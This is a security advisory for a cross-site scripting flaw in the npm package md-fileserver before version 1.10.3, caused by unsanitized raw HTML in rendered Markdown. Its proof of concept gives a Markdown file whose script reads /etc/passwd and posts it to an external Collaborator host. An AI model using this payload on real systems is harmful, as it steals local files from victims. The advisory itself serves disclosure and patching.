md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.

Affected: npm: md-fileserver

### Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.

### Details An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.

### Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.

lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.

lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.

### PoC Create a pwn.md ``` # Hello

<script> fetch('/etc/passwd', { credentials: 'include' }) .then(r => r.text()) .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t })); </script>

``` Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="i…